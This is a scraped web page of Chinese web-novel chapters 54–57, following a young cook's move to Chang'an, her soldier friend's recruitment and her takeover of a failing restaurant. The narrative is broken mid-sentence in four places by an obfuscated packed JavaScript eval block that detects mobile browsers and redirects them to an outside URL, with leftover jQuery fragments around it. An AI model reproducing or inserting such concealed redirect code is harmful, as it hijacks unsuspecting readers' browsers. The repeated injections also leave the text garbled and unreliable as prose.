d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299720|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸面彻底没了，四品大官的妻子在临溪这个小县受辱，消息一经飞出，阿芷不愿罗夫人委屈，逼着罗县令道歉后，就拿贾家开了刀。 事情本因和果在这，苏眠雪坐在椅子上愈发不安，民不与官斗，出事先打弱的方，这话从来没错。 “阿芷夫人受惊了，这红枣粥和糖果都是我亲自做得，您喜欢，带些回去也无妨。” 阿芷极力挽留：“我来是想和姑娘说，等到初三我就要回去了，你若不介意，带上家人和我们一块去也成，要是没地方住，我府里清净，你可以在我府上做厨子，我每月给你工钱，等有地方落脚再离开也成。” 阿芷也不知怎么想，许是两人有缘，又许是苏眠雪做得菜合她胃口。 以她的手艺，去了长安定会有一席之地。 现在施些好处，做酒楼的消息灵通，两人关系又和稳，许会帮她不少事。 而苏眠雪所想和她恰恰相反，跟着去一路多有不便不谈，就是会欠下人情。 她在长安平平无奇没什么，若是大放光彩，就是千千万万个都难还带她去长安的情谊。 “阿芷夫人，今天是年初一，罗夫人怎没来，想必已在府中等候多时，等着您和她团圆。”苏眠雪替她又倒了杯茶，水色清淡，显然已经冲泡过几次。 无功不受禄，阿芷给得条件太好，苏眠雪不信什么无由来的高升，苦一点累一点没关系，重要的是将路一步步走踏实。 阿芷多留无益，离开的那刻却看见从她眼前一晃而过的裴攸。 “裴四公子——” 裴攸回头，平缓温和的眸子下无波无澜，过了一会，潭水般寂静的眸子化为深深的不解：“我不认识你，也不是你的四公子。” 阿芷愣了一瞬。 苏眠雪从屋子里走出轻声询问：“怎么了。” “无碍。”阿芷回神，步履有些踉跄，再回首，只留两道纤细背影。 她认错人了。 尚书府惊才绝艳的裴四公子，怎会在这落后边远小镇。 阿芷离开后，裴攸摸着脖颈上的玉坠，摸了一个空。想起已经被他变卖，拿来的银子给三人各制了一套新衣，总共就花了五十两银子。 料子不是最好的，压根比不上给李大牛的那件，或许苏眠雪还觉得他浪费银子。 想来想去，还从没送过什么好东西，一套二十两银子的衣服，配上五两银子的头面，至少是拿他的银子花出去。 裴攸想得不少，解了束着长发的绳，任油披散在肩上，白色大氅垂在地上埋在雪里，好在布料厚实，湿了也透不进去。 热气腾腾的饺子出锅，桌上放了份红糖发糕，配上一大桌的菜。换好新衣服，苏眠雪开了坛酒，连着喝下好两杯，被辣的睁不开眼，“都过来喝些，大过年的我们热闹热闹，等明年，就到其他地方了。” “也不晓得，大牛哥收到我们送去的新衣服没，等驿夫回来，下次估计就收不到信了。” 54. 胡彪 “好！再打一拳，踢他！快踢他啊！大牛快踢他！” “这胡彪在军中可是个刺头，他瞧得起谁啊！借着蛮力在军中自己组了个小队，叫雄虎队。那会羌族杂碎夜袭边陲的小镇，就是这虎将军带着十一人灭了对方五十多人，救回被劫持的妇人、金银和粮食。大将军还封赏这雄虎队，胡彪就是雄虎队的营长，队里都叫他虎将军。” “这么厉害，难怪韩兆被一拳打下去，李尚武也给打趴下了。” 血气方刚的青年聚在一块，将演武场围成一圈，演武堂上是两道交叠在一块，用肉身赤膊打斗的男子。 穿着白衣服的汉子拼尽一脚，将李大牛踹在地上滚了两圈，离赛台的边缘就差几分。 “是虎将军放水了，那羌族常年在冰山雪地里头练就了一身皮糙肉厚，不使点劲刀都捅不进去。当初说是几个不服管教的，但实际上，还不是得了上头的指令，军中令牌都揣在怀里，最大的还是个领头将军。” 纷纷不绝耳的话从四面八方钻进耳朵里，胡彪将他砸进地里，闷哼一声，那人离开，给了他缓冲的时间。 李大牛抹掉唇角的血迹，甩了甩发痛的拳头，眼底的景象愈渐模糊，对方冲上前来，李大牛屈着身，脚步扎牢底盘越稳，等对方过来，两只手死死抱住对方的小腿，脑袋往前顶住腰身，抱着人就是一个过肩摔。 “好样的！大牛，没想到你不仅饭吃得多，力气大，还能想到这招啊！”韩兆挥洒着手里的拳头，张大嘴一瞬龇牙咧嘴，摸着被打裂的唇角，“艹，下手真他的狠，把爷的俊脸都打毁了。” “谁让你瞧不起虎将军的，这拳都给放水了，自个儿掉以轻心站在那给人家当活靶子，结果直接摔下来了。” “虎将军，大牛打赢了他，可是牛将军呢！”韩兆反驳说。 “安静安静，小心等下又给你一拳。”边上的人捂住他的嘴，目光全着放在台上两人。 李大牛将人反压在地上，死死碾压着不给半分喘息的机会，等到身下不再反抗才挪开身子，瘫坐在地上大口喘着气儿。 “好小子，把气吐匀了，放松些。”胡彪手搭在李大牛肩上，稍稍用了点力，对他说，“跟着我手上的力气，战场上可不管你累不累，只要能拿了敌人的枭首，就是你的军功。同样你的脑袋，也是。” 李大牛跟着肩上的力道吸气吐气，很快平复下来，手掌撑着地，抬起头是放大的人脸。 胡彪脸不红心不跳，好像刚刚那场打斗非他参与，一切都是李大牛的错觉。 “想要军功出人头地吗。” 大周拒了云晟的和亲，两国都非弱国。大周占据中原，地大物博令周边他国眼馋许久。 圣上若是应下和亲，还能维持不久的和睦。但两国积怨已久，和亲不过是一个借口。 “想，能五年内回家吗。”李大牛问。 “口气不小，五年内我们将云晟赶回老巢，咱们一块回去复命！”胡彪捶了下李大牛的胸脯，将人拉起来，压根不管边上站着的校尉，指着自己大喇喇说，“老子是虎将军，官职比他们高，来我们雄虎队，打头阵和将军一起上战场。” 胡彪笑说：“回去好好告别，记得收拾好东西。” …… “哎呦呦，这大氅好得嘞，这要多少银子啊，五十两能不能买下，瞧得像不能，都是长安里头那些贵人们才能穿得吧。” 胡彪拆开李大牛住处里最大的那个包袱，从里面掏出不少好东西。 一封信从衣服里落出来，拿起一看，行字间娟秀，边上写着姑娘的名字，原本踩在床沿上的腿在不经意拿下，信件不能拆，给李大牛放在大氅上，“记得拿上，别弄丢了。” 几日训练艰辛，能出抽空拿包袱已然不易，李大牛现在也猜出大概，这半月来突然严厉，就是胡彪来访。 一些乱七八糟的东西都被倒出来，女子心细，食物、药粉分为两半，他摸了一个饼吃，李大牛依旧沉默着，胡彪又摸了两瓶药。 李大牛也没什么反应，很快将自己为数不多的东西收拾好，三两下把床上乱七八糟的东西收好，拿出瓶药和新的衣服简单梳洗，等他抹好药出去，胡彪已经不在，他在这儿的同僚熟悉的只有韩兆，道别后，便和胡彪去了其他地方。 换了地方基础的训练相似，白天里练基础的，下午半日学得是和队友配合作战，以此来解布阵。 每日每月等得是从淮州来的驿夫和马，现在换了地方，只能让水抚县的人给他捎来。 等到四月送来的信，里面东西不少，比上次要多，零零碎碎的很多，李大牛笑得稳重，抿着唇将苏眠雪送来的小摆件摆在架子上，抽出信封里的纸，一共有三张，前面两张写了满满当当的字，多是关乎的话语，最后一张只有寥寥几行。 苏眠雪要去长安了。 在今年的四月，他拿到信时，她应该已经踏上前往长安的路途。 以后不管他寄多少封信，以后的年月里，两人只能在遥遥两地，看着同一片天，借着同一个月亮，以诉思念。 …… 贾家倒台被押送长安的事不过饭后笑谈，百姓乐于镇上少了一个恶霸，时间长了无人再提。 因着眼下已经春日，春生夏长秋收，播种的时节已到，景乡镇又是不同的气候。 还有一件大事莫过于欲满楼的东家离开镇上，十两银子盘下地段，将一切都交由琳娘，每年年末那月分红利，带着一家三口离开，这个时间，应该已经进城了。 三人翻山越岭走过不少郡州，舟车劳顿花了整整一月半的时间，终于看到长安的城门。 拿上物什，坐在车内排了一刻钟的队，终于过了文书进城。 一路繁华目不暇接，三人第一次来酒楼，马夫带着他们兜兜转转，选了一个价位适中的客栈，“公子，姑娘，要在城中一段价格适中的，这家客栈就符合你们的要求。” 客栈从外面看雅致，三个人手上挂着包袱提着箱子，一路风尘衣衫凌乱，站在客栈前频频惹眼。 异样的目光看得久了便有不适，快步走进客栈，要了两间普通房间，一晚上便要四两银子。 裴攸困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312983|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得恹恹欲睡，找了一个椅子坐下暂时歇息，等苏眠雪付完银子，往边上楼梯爬上二楼，先进了一间东西一股脑放下坐在地上。 顾了一圈，他幽幽道：“眼下要紧的是找个地方落脚，客栈不能久住，明天一块出去寻吧。” 客栈里布局一眼到头，一张只能睡下一人的床，放了桌子椅子和一个架子在没有多余的家具。 箱子包袱往角落一堆，三个人站在一个屋里显得异常拥挤，好似连口气都喘不出。 苏眠雪累得连抬手的力气都使不出，这处客栈地在中央价格适中，他她算是明白价格适中在哪了。 底下就是街市，这墙和纸差不多，外面络绎不绝的叫卖声，嬉戏声压根隔绝不了，往后用力靠靠她都怕戳出个洞来。 “找到住处固然重要，眼下我们还需个活来维持收支。” 长安里面的物价高，一路上她也在观察，同等的收入也会多。 暂时找个活来维持每日的支出，以此来打成平，至少不用坐吃空山，屋子还没找到，银钱已经见底。 “裴攸，明天你和苏盈先在附近转转，了解价钱便好，我去边上转转，能有什么干得活。”苏眠雪分下任务。 休整一晚，第二日天色未亮便整装出门，买了一个三文钱的素菜包子，苏眠雪一人走着，将一些店前贴着字一一看过，不是洗碗擦桌的，就是帮佣传菜。 这些都非首选。 思索间，脚下的路愈偏，已经离开城中一带，相差无几的街道摆着差不多的摊子，河边上有几个卖花女郎，手里的花鲜艳，不少姑娘拿了花插在发间，有大有小，单单一支拿出来，发现并非花艳，而在娇。 苏眠雪逛了半晌，长安和镇上不一样，一个地方大，有不同的消费品级，并且每个阶段都有不少的竞争对手。 可能今天看见这家，过两天又是新的牌匾，来往食客或许会有人记得先前的，但生活方式和边上的选择不会给他们怀念的机会，能立下来的自能长长久久，不能立下的，就是一时的开业风光，也弥补不了后面的漏缺。 “这里一晚上多少银子。”客栈半旧，边上有些空摊子，也能见到边上街道的繁华一角。 “一晚上二十文钱，价格就这样，一分钱一分货，嫌弃换个地方住。”掌柜不抬眼，等苏眠雪出去一副见怪不怪的模样。 出来后的苏眠雪打听了一圈边上的价格，最后将目光放在一所三层楼高的酒楼。 纸上写着正在招厨子，一月五两银子，店铺冷清，但她不在意。 还有那间客栈，其实忍一忍，暂时住几日也能忍下。 少女闭上眸子，等她在长安内有了生存之道后，再出来单干。伸出的手还未碰到大门，大门突然打开，迎面被撞了一个踉跄。 人还未看清，声音就从耳畔袭来——“什么破店，一道能吃得菜都没，不是加了一罐子的盐，就是清汤寡水，不来了，不来了，以后都不来了！” 大门又被打开，少女再次被吹了一脸风。 “会吃吗你就吃，我还不招待你呢！” 55. 芋泥香酥鸭 “客官是来用膳的吗，我们小店今儿炖了鸭汤，保证又鲜又甜，吃了一次再也忘不掉这味。” “的确是吃一次再也忘不掉，难吃到这个程度，能忘得掉吗？以后后再也不会来你家这店了！” 男子在阶下破口大骂，苏眠雪连句话都插不进去，胳膊被人拽住，往里面一拉，门一关。 显然轻车熟路，干过不少这种损事。 “我不是来吃饭的！”苏眠雪挣脱拽人之人的束缚，两个小二一人抱着一个漆盘，指着路，带着苏眠雪坐在椅子上。 店老板挥手：“快，上菜，将我们店里的鸭汤拿上来。” 两个小二风风火火，酒楼里苏眠雪一个人食客，压根不怕把人撞了。 一碗稀水鸭汤端到眼前，里面飘着几片肉，搅和两下捞出来一看，皮多肉少，养容美颜。 秉着尝试的心，用勺子咬起一勺汤喝，还未回味，店老板堆着笑伸出手，两个小二手里抱着武器，温和有礼：“此汤一碗三两银，姑娘打算怎么付？” 苏眠雪哂笑，汤寡淡无味，鸭皮油腻，卖三两银子，已经明着抢钱了。 她将碗推开半分，“你这鸭子是拿热水冲开的吧，一点味道都没，鸭毛也没拔干净。” “客官，你会不会喝汤，我们家的可是正宗鸭汤，这毛一看就不是我们家鸭子上面的，我们汤在上来前可是干干净净的。” “这几块肉，是我带来的吗。”苏眠雪拿勺子捞出肉，用筷子夹起递到他眼前。 店老板还要辩解，苏眠雪拿手挡住，打断他说话的机会，“你们厨子在哪。” 店老板拍下手里的书，红着脸恼道：“你在质疑我们店的大厨吗？那可是我花了十两银子请来的神厨！” “你没吃过你们店里大厨做得菜？”苏眠雪问。 店老板气壮：“吃过啊，就是吃过才请他的，每个人做出来都是这个味，你们喝不惯，怎么还反过来诋毁我们的汤呢！” “这汤，你让他们俩喝了。”苏眠雪不多费口舌，直接强迫两个小二喝汤。 店老板也来眼了，揪着两个小二，又拿两个碗出来，一碗汤分为三碗，他拿一碗一口气闷下，对苏眠雪说：“哪里难喝了，我都喝完了这不证明好好的吗！你们两个也快些喝了，证明给她看。” “这……”小二有些犹豫，两人互相看着，抱着碗迟迟不敢喝下。 苏眠雪其实说委婉了，今天煮汤的鸭子是他两人处理的，毛和内脏都没处理干净，闻着味就难下口。 “你喝，你喝。” “不不不，你先喝，你先。” …… 推辞半晌，苏眠雪分开两人，对店老板说：“你也看见了，做菜还是要符合大众胃口。而且我来你们这也不是为了吃饭，是为了应聘厨子。” 店老板原地呆站了会：“我们家有厨子了。” 来应聘什么，他家有厨子了，一个月十两银。来店里没几个人，多得也不需要。 每天早上把汤啊菜啊煮好，一天招待三四个客便够了。 店老板猛然想起，清秀的公子再次原地错愕，不停摇着手中折扇，苦恼道：“可惜我现在也不错，再请个你，不就要多笔支出吗。” 店里现在勉强维持着工钱，每日收入刚好和支出持平，偶尔还能多几个子用来喝酒。 虽说他不差钱，但店里只亏不赚总不太体面。 “你先让我试试，再做定论。”苏眠雪开口说。 五两银子一月诱惑不少，垂眸思索片刻，咬着唇角有些苦恼。 看这东家衣着不凡，只怕是不缺钱花的主，这酒楼都冷成这样还能在这处繁华地段苟延残喘，身后肯定是有关系。 “带她去后厨，试试就试试。” 令下，苏眠雪跟着小二到后厨，里面只有一个正打着瞌睡二十上下的男子，躺在藤椅上悠闲惬意。 小二动作轻巧，避开睡着的男子，“这是我们店里的神厨，你小心点，别吵醒了。” “……” 苏眠雪从厨具中拿出一把铲子，铁片相互碰撞，就是再控制着，也难免会有细微的声音放出。 两个小二紧张着，唯恐吵醒了躺在藤椅上睡得正香的人。 苏眠雪看着手里的铲子，犹豫许久，闭上眼。 原来钱真的那么好赚。 只要有个冤大头，什么不是难事。 “让你们东家，去买只烤鸭来。”苏眠雪难得再次盯着架子上的锅碗瓢盆发愁。 这家店冷清，真不怪来往食客，开酒楼店里连点食材都没，这怎么能成。 小二不太明白，但得了吩咐两个一块出去在边上买烤鸭。 架子上仅有的五谷杂粮和红薯之类，苏眠雪拿了芋头和紫薯，削皮切块蒸熟，倒些牛乳压泥。 两个小二在不远处一声不吭，看着苏眠雪倒了半杯的牛乳不免肉疼，提醒道：“这是我们老板喝得，你拿去做了，会遭殃。” 小二离她有一米远，伸长脖子张大嘴，从嘴里吐出来的声音不大，苏眠雪没听见。 压成泥后往里面放糯米粉定型，揉成团，分两半，一半压成大饼状，切块去骨的烤鸭铺在上面，另一层芋泥盖住烤鸭肉，涂鸡蛋液裹一圈面粉，放油锅里炸熟。 店老板听着两个小二苏眠雪做菜的过程，听得一愣一愣，先这样再那样，拿芋头紫薯活和包住烤鸭，烤鸭还不是她自己做得。 这要什么技巧在里面，换个人不都能做出来吗。 五两银子，多了。 一股油炸的香味从四面八方而来，两个小二顿时眼睛放光，努力抽着鼻子，最后扑到门边上，打开门眼珠子转溜一圈，没发现香味从哪来的，但绝对不是他们店里。 “芋泥香酥鸭，三位试试。” 苏眠雪准备了四副碗筷，她走了半日，中午还没吃，做出来的鸭子还挺大，她特意把外边的芋泥往多了做，两个实诚小二又把鸭子往大了买。 一来二去，特地弄多的食材变成刚刚好，这么一大只，四个人吃都绰绰有余。 因为油的原因，她还备了道拍黄瓜，里面醋和糖没有半分不舍得，绝对入味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327578|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吃。 瘦些的小二左右瞧着，老板还没吃，不大好意思动筷，“真的吗。” 苏眠雪点头：“嗯。” 她拿小刀给芋泥香酥鸭分块，切好的芋泥香酥鸭阵阵香甜味混着烤鸭味从里面传出，外面一层炸锅，连着里面一块烫呼着，夹起一块，外面裹了面糊的酥脆，芋泥那一层软糯，没有加糖，加的是牛乳，所以会有一个奶味和甜味。 最后一口，便是咸香的烤鸭，外酥内软咸香，一口菜有多个口感，吃多了容易腻，但配上拍黄瓜就刚刚好。 “这个是真的不错。”瘦小二嘴里塞了一块还没咽下，筷子上的又止不住往嘴里塞。 “我也觉得，吃了这么久的汤水，终于吃到肉了。”矮些的小二赞同称赞。 也不是他们不想说那厨子不好，而是店里没什么客，一月二两银子，早上干干白天碰瓷就没事干了。 人安逸久了，又有比其他地方高许多的银钱在手，有些细微末节的，比如每日的伙食都能当着不知。 总就几顿饭，大伙吃得都一样，往嘴里一塞就吃下去了。 “老板，这个必须留，我觉得留下，我们店肯定能回到开业时的盛况。” 店老板嚼着嘴里没什么滋味的芋泥鸭，陷入沉思，真有这么好吃？ 不都是一个味，吃什么不一样。 苏眠雪看店老板放下碗筷，道：“你开酒楼，肯定是想赚银子，但依着你现在的情况，能勉强维持着都难，只怕是掏自己腰包来贴这儿。” 店老板惊讶望着苏眠雪：“你……你怎么知道这些？你向谁打听的，有什么目的！” “不用打听，拿眼睛看就行。” 苏眠雪含着笑，素手搭在桌上，身上衣服轻便，颜色素雅不失灵动，容貌谈不上国色天香，那也属上乘。 一年岁月，身上少了几分自来的温柔小意，多了几分圆滑，端坐在椅子上便拿出了几分气势。 她处事向来能屈能伸，遇见比自己厉害的报以敬意，遇见在自己之下的，谦和中不免彰显身份，以免受人看轻。 一段时间相处下来，三人性格摸了一个大概。 店老板掏银子开酒楼，没有半分主见，只要得过且过维持表面平和，两个小二拿银子唯命是从，十两银子的大厨更是轻松，完全没有管理制度，跟玩一样。 “这家酒楼交我负责，我做大当家，你做二当家，你出钱我出力，第一年的分红你六我四，后面对半分。半年内，我把这酒楼盘活，不说长安城内第一，起码要长安城内的百姓记住它的名字。” 苏眠雪口气不小，但这家酒楼地段不错，要是好好经营，至少在这条街，当个街霸王不足为惧。 “……凭什么你是大当家，我是二当家。” 少年面露不解，这家酒楼是他的。 苏眠雪是个好商量的人：“你是大当家，我是二当家。” “我出钱，你出力，立下字据。半年内盘活你才能当二当家，年后才能分红。” “成。” 苏眠雪爽快答应。 56. 笋蕨馄饨 从里面跑出来的苏眠雪看了眼头上的牌匾，龙飞凤舞写着四个大字。 哪里是酒楼的名字，取得四个字文雅，更像是少爷们的风雅嬉戏的地方。 公子单纯钱多，苏眠雪立下字据拿了掌管酒楼的权利，两个小二屁颠屁颠跟在后边。 她观着街上的店面，几条街都是相互通着，熙熙攘攘来往纷纷，走到尽头有两条路可选，右边的那条是她先前走过，进了那家客栈的路，其实几面相差不多，差的是烟火气。 她选择左边的路，跟着边上的大树来认路，转了几圈，回到自己住得客栈里，两个小二还跟在她屁股后。 一个小二问：“二当家，您怎么住这啊。” 苏眠雪停下脚步，转过身面带疑惑，问道：“你们跟着我来这做什么。” “我们以为您今天就要开始重新修整店面，您是住在这家客栈里？”另一个小二往周围看了几眼，挥手让她到角落，“二当家，你是刚来长安吗，这家客栈和外面那些车夫都是一伙的，您有住在这的银子，去哪不成啊。” 人生地不熟，刚来没几日连边上的街都没摸清楚，哪里知道长安的物价。 “二当家，我叫阿福，他叫阿财，你要是没地方住，可以先到西街的客栈住段日子，离我们店不远，就隔了两条街，往路口一拐就到了。”阿福要瘦些，大致给苏眠雪指了条路。 阿财道：“既然无事，那我们就先回去了。” 苏眠雪点头表示知晓，面谈的事都已经聊好，一晚上没歇息好，趁现在还早打算先回去眯会，就是今晚的银钱还要再付一晚，打算等裴攸、苏盈两人回来，商量着去其他客栈住，等定下接下来的住处在搬出去。 工作如今有了着落，傍晚裴攸和苏盈回来时，提了几个白面馒头和咸菜肉干，客栈里饭菜需要另外买，价贵味道也不好吃。 白面馒头从中间掰开，夹些咸菜和肉干，馒头吸尽菜汁，吃完一个就差不多饱了。 “长安房价、物价都非镇上可比，我们看了些边上的，独立带院子有三间屋子以上的，都是要一年租金付起，一月在一贯钱左右，一年莫约十二两银子。”裴攸将价格今日了解的价格细细说于她听，“若是直接买下来，差不多在五百贯钱，我们寻得是太平坊边上的，若是其他地方，离皇城贵人区远些的地方，估计会便宜些。” 苏眠雪要在城中心一带的，边上街道多是繁华，许多地方更是达官显贵才能进得。 这家客栈一晚就要二两银子，两间房四两银，两天就赶上一年的租金。 有个住所只是在长安里的第一步，一月五两银子，一年她赚六十两银，省吃俭用八年才够买下一座房子。 “要是放低要求，只要一间房的话，会和其他租客住在一个院子里，院子会大些，钱也会少些。但大伙一起用，又不知道对方的秉性，时间久总有摩擦。”苏盈说，“太平坊在菜市边上，买菜也方便些……” 苏盈不由回想在景乡镇发生的事，还有贾家最后的惨状。 说实在贾三经常来找麻烦，但自苏眠雪去县里知县府后，贾三就没再找过苏眠雪麻烦。 本质上看得都是背后的人，贾家一夕之间灭门，强拐少男少女罪证呈现押送长安，听说半个月前因为私自贩盐，早在菜市口前被处决了。 前面那块地虽被洗刷干净，但回想起来不由胆颤心惊。 这些后事被人从这传到那，因着是临溪县的事，苏眠雪三人虽早早离开，路上不免听人耳语，拼拼凑凑就能知道大概。 “有厨房，有洗浴室，还有三间屋子我们一人一间，我们在这住了两晚就要八两银子，他一年也只用十二两银子，多好的买卖。”苏眠雪咽下嘴里的馒头，别说，馒头越嚼越香，“明天我去店里做活，你们去牙人那好好谈谈，能定下就趁早定下，交了银子从这出去。” 她将阿福和阿财的话，和自己找着只用二十文钱一晚的客栈说于他们。 新来一个地方，不知道这个地方的规则又没有熟人，被敲了也是没理的那方。 你自个愿意掏得钱，怎的嫌贵还反悔，这还做不做生意啦。 裴攸抿下唇以做知晓，长长睫羽遮住一双狭长的眼，“明天就去。” …… 长安城的大道连着许多小巷长街，苏眠雪习惯将记周围的数来认路。 比如出了客栈往右走到一个分叉口，往靠着柳树的一边拐，走两条街就到了她做活的酒楼。 她刚摸到门，还没往里头推，就被一股大力扯了进去。 阿福、阿财大声说：“客官您来了，我们店里今早有鸡丝粥和牛肉粥，您想喝些什么？” 阿财：“得嘞！客官您要一碗牛肉粥，这就给您……” 阿福：“二当家！” “二当家，您来了。快，快，吃过早膳没，今天有鸡丝粥和牛肉粥，”阿福弯下腰凑到她耳边，“鸡丝粥比牛肉粥好喝，这粥我们留着今天吃，把牛肉粥卖出去就可。” 苏眠雪将两个人都推开，向他俩再次确认：“你们这段时日会乖乖听我的话。” 阿福，阿财一起保证：“那肯定的，现在我们清风玉露只听您一人吩咐，您说往西，我们就绝不往东！” “大厨呢。” 二人同声大喊：“大当家是清，大厨是风，我们两是玉露！清风玉露从今天起都听您一人差遣！” 这事好办了。 苏眠雪找了张椅子，指着边上窗柩：“现在把窗都打开。” 阿福、阿财忙前忙后，一楼开完跑上二楼，苏眠雪声音又适时响起：“雅间里的不用，走廊的都打开。” 窗户一开，整个清风玉露敞亮不少。 她伸手又是一指：“现在，将外面的牌匾换掉。” “不成！这可是大师亲笔所写，大当家花了大价钱才得来的，您不觉得在这里面，我们也变得高雅了呢。” 苏眠雪用心感受了番，摸着扶手边拿玉石封得利边，能来这的，确是高雅之辈。 当下盛世重文，谁不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362601|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣衫翩翩当个白衣公子扫眉才子。 但这路走过了，来吃饭非是吟诗作对。 且这两小二的做派也不是才子能做出来的，蹲在门内看见人就抓进来，太莽了些。 “既如此，你去做块牌匾，店名就叫做苏……” “苏来斋！” “不是。”苏眠雪顿了好半晌，“叫清风楼吧。” 她来长安目的是为了将苏记做大，眼下没这本事，可店是人家的店，没有理由因为她的私心，从名字上把店给霸占了。 万事都急不得，接下来是在长安中有安生之本，还有把裴攸的五百两银子给还了。 然后攒够钱，再从小做起，不在乎店面有多大，把名改成苏记，由食客的嘴中传播，她找不着苏时章，那就把苏记的名头引出去，让苏时章来找她。 清风玉露是个不错的名，但这四个字在食客眼中口碑已经臭了。 第一刀就是改名字，第二刀打招牌，将客都引入自己点么，第三刀就是找几个靠谱厨师，十两银子够找几个厨子了，琳娘高胜一月也才600文呢。 话是早上吩咐下去的，新的牌匾是下午换上去的。 速度之快，苏眠雪忍不住再次感慨，有钱能使鬼推磨，有钱需要等什么时间。 牌匾换后，酒楼外有不少人张望，她坐了半日，到了该吃饭的时候，去舀了点鸡丝粥和牛肉粥尝了味道，鸡丝粥清淡，肉有些柴能够入口，牛肉没处理好，有腥膻味，难以入口。 十两银子的大厨还在屋里打瞌，苏眠雪不想惯着。 拿碗拿锅洗菜的声音一点也没藏着，笋和蕨菜拿开水烫过，倒了些酱、香料和油调成馅。 对三人说：“今天酒楼牌匾换掉来不少人，你找四个厨子来，菜品我会试味。工钱一月三两，现在急需人一月四两，记得原本工钱是三两，因为急需人才要四两，切记本末倒置。” “外面人多从小门走，先别在百姓前露面。现在不急，先把馄饨包好，将锅里水煮下。”苏眠雪不疾不徐将任务分下去。 她做了不少馅，但现在吃饭的有四个人，锅里的水滚开，包好的馄饨有各种模样，白皮下撑着绿馅，下了锅拿盖子蒙上。 大当家说：“我现在去吗。” “不用，先吃饭。” 馄饨皮薄，里面填不了多少馅，煮得时间不用太久，久了面皮容易化。 她道：“我叫苏眠雪，大当家贵姓。” 大当家脚还没踏出去又被叫回来，“我性裴，叫裴钰。尚书府那个裴，但跟他们家也没什么关系。” 盖子掀开，馄饨浮在沸腾的水面上，苏眠雪未多想，只当互换名字。填了些水进去，盖上盖子，等了会锅里的水又闹腾起来，熄火焖会。 碗中加盐和酱，馄饨水冲开盐和酱，馄饨舀碗里，撒把葱花填分颜色。 馄饨味道鲜香，口感爽脆。 沉睡的大厨终于醒了，被香味引着，眼睛还没睁开，连人带手到她这，“给我也来一碗。” 57. 酸菜肉丝面 馄饨煮得不多，刚好够四个人分，还有些勉强。 她并非什么都要做尽的滥好人，都是一样打工的，钱多点就能当大爷了？ 晓不晓得一句话，钱多得还能忍气吞声，钱少的忍什么，忍这三瓜两枣，送人得了。 她端着碗到外边，找了一个角落坐着用膳，外边不少人过往停驻，但离得位置都远，为止被人拉进来宰一顿。 “姑娘，您是在这里边用膳吗。”一位妇人探过头，向边上瞄了眼，好心劝说，“那三个土匪是不是不在，你快些出来，里面的人霸道着呢，山匪都比他们有礼会讲道理，里面这三人别说道理了，人在外面走着都要被拉进去，一碗汤就是二两银子，可吓人了。” 三个吃完馄饨的土匪从厨房出来。 裴钰舔着唇回味，皱着眉问：“你们真尝出味道来了？为何我吃什么都是一个味道，难道是我娘说我天生掉下来的宝玉，宝玉只能供人观赏，才会使我失了些感观，尝不出味吗。” “二当家，你尝到馄饨味了吗。” 苏眠雪急忙关上窗，来不及去看外面妇人是什么样，总之妇人若是看见他们，三个土匪要变四个土匪了。 外边妇人脸色大变，杀千刀的，三个不要脸的东西，竟敢威胁人家姑娘！ 她今儿必须救出那姑娘，给里边的土匪看看，她躲在门边上，先推了把门，没动，又使了力气去推。 里边锁住了，外边才会打不开！ ！ 杀千刀的，三个不要脸的家伙。 妇人用力拍打着门，大门纹丝不动，妇人逐渐慌乱无措：“姑娘，姑娘你还好吧，你等着，我现在就去给你报官。” “她要报官，你们两个快去制止她，要是被我们那老祖宗知道，我们还要不要呆下去了，只怕连唯一给得五十两银子都要收回去了！”裴钰逐渐慌乱无神。 裴钰顾不得太多，带着阿福和阿财三个人一块出去，苏眠雪来不及阻拦，就已经将门外没走远的妇人拉回来，大门被重新关上。 大眼瞪小眼，这下是跳进水里也洗不清了。 苏眠雪试探问：“这位姨姨，你要吃饭吗？” “？”吃饭，妇人一愣，“姑娘你是被这土匪威胁了吗，你放心，我家里丈夫孩子发现我不在就会去报官的。” “您别急，他们不是坏人，我也不是。今天起这家酒楼由我负责，他们从前做了不少坏事给您赔罪，还望你莫记在心上，今儿的饭也给您免单，绝对不收钱。”苏眠雪拨开阿福、阿财，牵着妇人的手到刚刚她坐得桌子边。 